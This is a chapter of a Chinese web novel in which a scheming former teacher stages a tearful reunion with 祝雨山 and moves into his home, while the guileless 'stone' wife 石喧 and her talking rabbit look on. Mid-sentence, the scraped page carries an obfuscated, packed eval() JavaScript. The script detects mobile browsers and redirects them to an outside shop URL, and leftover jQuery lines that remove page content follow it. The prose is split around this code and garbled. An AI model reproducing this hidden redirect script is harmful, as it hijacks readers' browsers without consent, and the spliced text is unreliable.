8. 第 8 章

作品:《夫君今天也不肯和离

    祝雨山一回来,众人自动让开一条路。


    娄楷快速进入情绪,一把鼻涕一把泪地跪爬几步,颤巍巍抓住了祝雨山的腿。


    “孩子,我好想你啊!这些年你都去哪了啊?!”


    他不过四十余岁,却形容落拓,鬓角微霜,哭嚎起来可笑又可怜,看得众人无不动容。


    祝雨山却静站不动,只淡淡地看着他。


    娄楷寻来时,特意带来了他年幼时的手稿,此刻见他神色冷淡,便将手伸进了怀中。


    没等他把证据拿出来,祝雨山的神情突然柔软,仿佛一汪静水被风吹动。


    “先生快起来,你这样真是要折煞学生了。”


    说着话,祝雨山就要扶他起来。


    娄楷见他没有蠢到否认他们的关系,便撑着地继续哭嚎:“我对不起你啊孩子,我心里有愧啊!这些年我变卖家产四处探寻,就是为了能找到你,同你说一声对不起!”


    他字字恳切,周围的人一阵唏嘘。


    祝雨山扶着他的胳膊暗暗用力,面上却一片祥和:“过去的事不必再提,我早就不怪你了。”


    “真、真的吗?”娄楷一脸不敢置信。


    祝雨山:“真的。”


    “如此,我便死而无憾了。”娄楷释然一笑,突然起身猛冲,朝着门口的柱子撞去。


    众人没想到他会突然寻死,一阵惊慌之后赶紧拦住他,七嘴八舌地劝导。


    “祝先生都原谅你了,你还死什么啊。”


    “你要是就这么死了,让别人怎么看祝先生。”


    “天塌下来有高个顶着呢,没什么过不去的,你可千万别想不开。”


    娄楷失声痛哭:“别劝我,都别劝我!我早已经无家可归,如今唯一的心愿也了结了,是真的不想活了!”


    村邻自以为是的劝慰,娄楷虚伪拙劣的哭嚎,都让祝雨山觉得厌烦。


    想把他们都杀了。


    正当他快要克制不住暴虐的情绪时,掌心突然被塞了一团东西。


    他顿了一下,低头。


    是他亲手缝制的兜兜。


    粗布摩擦掌心,有点痒。


    绳带还在石喧身上,他的视线顺着绳带往上,对上一双平静的眼睛。


    “我抓了一只鸽子,还没洗手。”石喧晃了晃手里的鸽子。


    如果是以前,祝雨山一定可以在她不知所云的言辞里,快速地抓住重点。


    但他此刻脑子里闹哄哄,难得有些迟钝。


    他没有接话,石喧也不在意,只是又说一句:“兜兜里有瓜子,你自己拿。”


    夫君平日忙着上课,鲜少和她一起看热闹,也不知道看热闹的时候要嗑瓜子。


    身为一颗贤惠的石头,有必要提醒夫君。


    祝雨山这次听懂了,唇角僵硬地扬了扬,仿佛要炸开一样的情绪也逐渐平复。


    娄楷的戏台子既然已经搭好,他也该登台了。


    但在登台前,还有一件事要确认。


    祝雨山松开兜兜,将褶皱的地方拍平,趁无人注意这边,低声问石喧:“可否让他在我们家住几日?”


    “你想让他住吗?”石喧反问。


    祝雨山扫了一眼娄楷,娄楷哭得更起兴了。


    “让他住几天,会比较省事,”他和缓道,“不让他住也可以,我再想别的办法。”


    石喧没听懂,但作为一颗聪明的石头,看得出夫君是想让他住的,不然也不会来问她。


    “让他住吧。”石喧说。


    祝雨山点了点头,转身朝娄楷走去。


    这么一会儿的功夫,已经有不少人看向他了,眼神里饱含安慰和鼓励,似乎不管他做什么决定,他们都可以理解。


    怎么可能。


    世人自有一套瞧不见却始终存在的规则,盯着别人,也困着自己,一旦背离,便成了众矢之的,往日积累尽数成空。


    祝雨山缓缓呵出一口气,换上一副苦涩的神情:“先生若是不嫌弃,便留下来吧,我与内子定会将您视为亲父,为您养老送终。”


    一直在等他开口的娄楷立刻抬头:“当、当真?”


    祝雨山唇角的弧度扩大:“自然。”


    达到了目的,娄楷本该高兴,可一看到他的笑,就想起某些往事,不由得抖了一下。


    戏本子演到最后,也算是和和美美,围观的众人纷纷离去,只留下小两口和娄楷。


    没热闹可看了,石喧提溜着鸽子脑袋直奔厨房。


    娄楷一看再无第三人,突然冷笑一声:“没想到吧,躲得这么远,还是被我找到了。”


    祝雨山没什么表情,只是淡淡看他一眼:“进来吧。”


    说完,他没再管娄楷,独自一人穿过院子,回自己的寝房了。


    娄楷撇了撇嘴,磨磨蹭蹭走进院子里,当看到院中只有一堆干柴、一个石桌、一个兔窝时,嫌弃地翻了个白眼。


    然后就跟石喧对上了视线。


    娄楷惊得倒抽一口冷气,下意识往后退了一步。


    退完了,又觉得没面子,故意板起脸问:“你走路没声吗?!”


    石喧走了两步。


    娄楷:“?”


    石喧:“有声。”


    娄楷:“……”


    漫长的沉默,天上明明没有鸟,但隐约传来了乌鸦叫。


    现在没有其他人,娄楷也懒得再装和善,冷着一张脸瞪石喧。


    从前他做先生时,再不服管的学生被他一瞪,都会吓得打哆嗦,这回……


    “你是不是上火了?”石喧问。


    娄楷的脑子没转过来:“……啥?”


    “你眼珠子有点黄。”石喧解释。


    虽然她不懂医术,但作为一颗聪明的石头,还是有一些这方面的常识的。


    娄楷被她说得脑子都卡壳了,再想起自己跪她时,她的种种反应,心里隐约有了个猜测。


    娄楷:“你是不是……”


    没等他把话说完,墙根处的兔窝突然晃了起来,石喧的注意力转移,直接无视他,朝着兔窝走去。


    “干什么?”她问兔子。


    兔子嚼着一根干草,不满:“真让他住下?”


    石喧:“你怎么知道他要住下?”


    兔子斜了她一眼:“刚才闹出那么大的动静,我又不聋,当然全听到了,我先提前说明啊,这个家有他没我,有我没他。”


    石喧蹲下:“为什么?”


    兔子:“不为什么,我不喜欢家里有太多人。”


    石喧沉思片刻,道:“那你走吧。”


    “你……你让我走?!”兔子难以置信,“我从刚学会变人形就跟着你,最好的年岁都浪费在你身上,为你种地挑水开荒锄草,你现在让我走?”


    石喧:“他是夫君的先生。”


    “那又怎么样,我还是你的兔子呢!”


    石喧:“他只住几天。”


    兔子立刻支棱起耳朵,要她给一个确切的答案:“几天?”


    石喧摇了摇头,表示不知道。


    这事儿得看夫君。


    “应该不会太久。”她又补了一句。


    兔子翻个白眼,仰躺在兔窝里翘四郎腿:“只住几天的话……那就让他住吧,但你得记着,谁是家人谁是外人,你要是敢因为他忽略我,我就离家出走,再也不回来了!”


    她为什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960740|193288||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么会因为娄楷忽略兔子?


    兔子为什么会觉得她会因为娄楷忽略兔子?


    兔子为什么这么怕被忽略?


    石喧以前只觉得凡人复杂,现在发现兔子也挺复杂的。


    想不通。


    娄楷也想不通。


    他听不到兔子说话,只看到石喧蹲在兔窝前自言自语。


    刚才没问完的问题,似乎不用问了。


    他实在想不通,祝雨山虽然家境一般,但也算是体面人,怎么会和一个傻子成亲?


    娄楷陷入沉思,等回过神时发现石喧已经出现在他面前,再次吓得倒抽一口冷气。


    “你……你能不能不要这么神出鬼没!”他恼火道。


    石喧没说话,静静看着他。


    娄楷轻咳一声,装腔作势:“你就是雨山的妻子吧?”


    石喧:“是。”


    娄楷:“你知道我是谁吗?”


    石喧把刚才跟兔子说过的话再说一遍:“知道,夫君的先生。”


    娄楷:“我不止是他的先生,还是他半个父亲,你既然是他的妻子,以后也要将我当成父亲一样孝顺,知道吗?”


    石喧点头:“知道。”


    人间的人情世故,她相当了解,和长辈的相处之道,她也略通一二。


    以前没机会表现,现在突然冒出来一个先生,正好可以施展一番,也让夫君对她的贤惠有更进一步的认知。


    娄楷扫了她一眼,莫名从她古井无波的脸上,看出一丝丝兴奋。


    他隐约觉得不对,正要再说几句,祝雨山突然从房间里出来了,一看到他和石喧站得那么近,当即眼神一凉。


    虽然顺利留下,但娄楷心里还是有点怵祝雨山,一看到他登时不说话了。


    石喧没察觉师徒之间的暗流,一看到祝雨山就迎了上去:“夫君。”


    祝雨山看向她,眼神里浮起一点笑意:“可以帮我搬一下东西吗?”


    “好。”石喧答应。


    祝雨山领着她进了寝房。


    才一会儿的功夫,他就把自己和石喧的东西都装进了箱子里,睡过的被褥也卷了起来。


    本就简陋的寝房,此刻更是家徒四壁。


    “箱子,被子,还有这些,”祝雨山将需要搬的东西一一指出,“都搬走。”


    石喧挽起袖子,将所有东西都摞好,轻巧地抱了起来。


    她正要离开,祝雨山突然拉住她的衣袖。


    石喧回头。


    “知道搬去哪吗?”祝雨山笑问。


    石喧歪了歪头,似乎才想起这个问题。


    “你屋里。”他说。


    石喧:“好。”


    虽然她没问为什么,但祝雨山还是解释:“家里就两间卧房,如今先生来了,得腾出一间给他。”


    石喧:“哦。”


    “去吧,我再看看还有没有别的需要收拾。”祝雨山说完,看向了光秃秃的床,眉头轻微地蹙了一下。


    “好。”


    石喧搬着东西往外走。


    娄楷正趴在门上偷听,一听到她出来了,赶紧往旁边躲。


    但还是晚了。


    沉甸甸的箱子突然撞了出来,他一个躲闪不及被撞飞出去,摔得‘嘎’了一声。


    石喧搬着的东西摞高高,视线受阻,听到声响扭头看了看,什么也没看到,一脸疑惑地走了。


    东西搬到屋里,石喧开始思考要不要顺便整理一下,没等想出个结果,又想到另一件事——


    成婚近三年,她只有和夫君同房的时候睡同一间屋子,其他时间都各住各的。


    那么问题来了,不同房的日子该怎么同房?